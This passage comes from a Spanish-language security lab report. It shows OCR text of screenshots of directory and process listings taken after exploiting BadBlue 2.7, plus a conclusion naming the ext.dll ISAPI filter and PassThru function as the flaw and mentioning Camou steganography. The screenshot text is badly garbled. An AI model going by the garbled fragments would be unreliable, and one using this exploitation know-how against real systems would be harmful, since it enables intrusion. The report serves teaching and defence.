en ejecucion como se evidencia en las siguientes ilustraciones:



llustracion 39 Directorios e informacion del sistema

Session Acciones Editar Vista Ayuda

yadsti@kaliyads:~ @ = yadsti@kaliyads: ~ H yadsti@kaliya
dir
d
El volumen de la unidad C no ti
El ne#mero de serie del Tumen

<DIR>
<DIR>

L oLnoLn Lo

conoce como un comando interno o e
o por lotes ejecutable.

racien de
compi

N/D
191 MB

MB
MB

Invitado

SUPPORT

yadsti@kaliyads: ~

28
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llustracion 41 Servicios en ejecucion

Session Acciones Editar Vista Ayuda

yadsti@kaliyads: ~ H yadsti@kaliyads: ~ E yadsti@kaliyads: ~ H

Nombre de sesien Nem. de Uso de memor

Console 16 KB
Console 212 KB
Console KB
Console KB
Console &, KB
Console KB
Console KB
Console &, KB
Console 4.908 KB
Console & . KB
Console : KB
Console KE
Console 4 548 KB
Console L KB
Console KB
Console 6 KB
Console KB
Console KB
Console . KB
Console 5 KB
Console : T ]
Console 24 KB
KB

KB

: KB

Console L 4 KB

=+ =+

=t

5
5
5t
5
5

a explotacion fue posible exclusivamente debido a las vulnerabilidades inherentes
en BadBlue 2.7, particularmente en su implementacion del filtro ISAPI ext.dll y la
funcion PassThru. Este caso demuestra los riesgos de utilizar software sin mantenimiento que

contiene componentes con vulnerabilidades conocidas pero sin parches disponibles.



30

Conclusion

La instalacion de Guest Additions y la creacion de carpetas compartidas demostraron la
importancia de la correcta configuracién de entornos virtuales para un flujo eficiente de
informacion entre el sistema anfitrion y el invitado.

Asimismo, el uso de Camou permiti6 evidenciar los limites de almacenamiento y la
capacidad de ocultamiento en distintos tipos de archivos, resaltando los posibles riesgos del
camuflaje de informacion en entornos no seguros.

Finalmente, la explotacion del servicio BadBlue evidencio las consecuencias de utilizar
software obsoleto con vulnerabilidades conocidas, reafirmando la necesidad de aplicar medidas
preventivas, mantener los sistemas actualizados y realizar auditorias constantes para garantizar la

integridad y confidencialidad de los datos.
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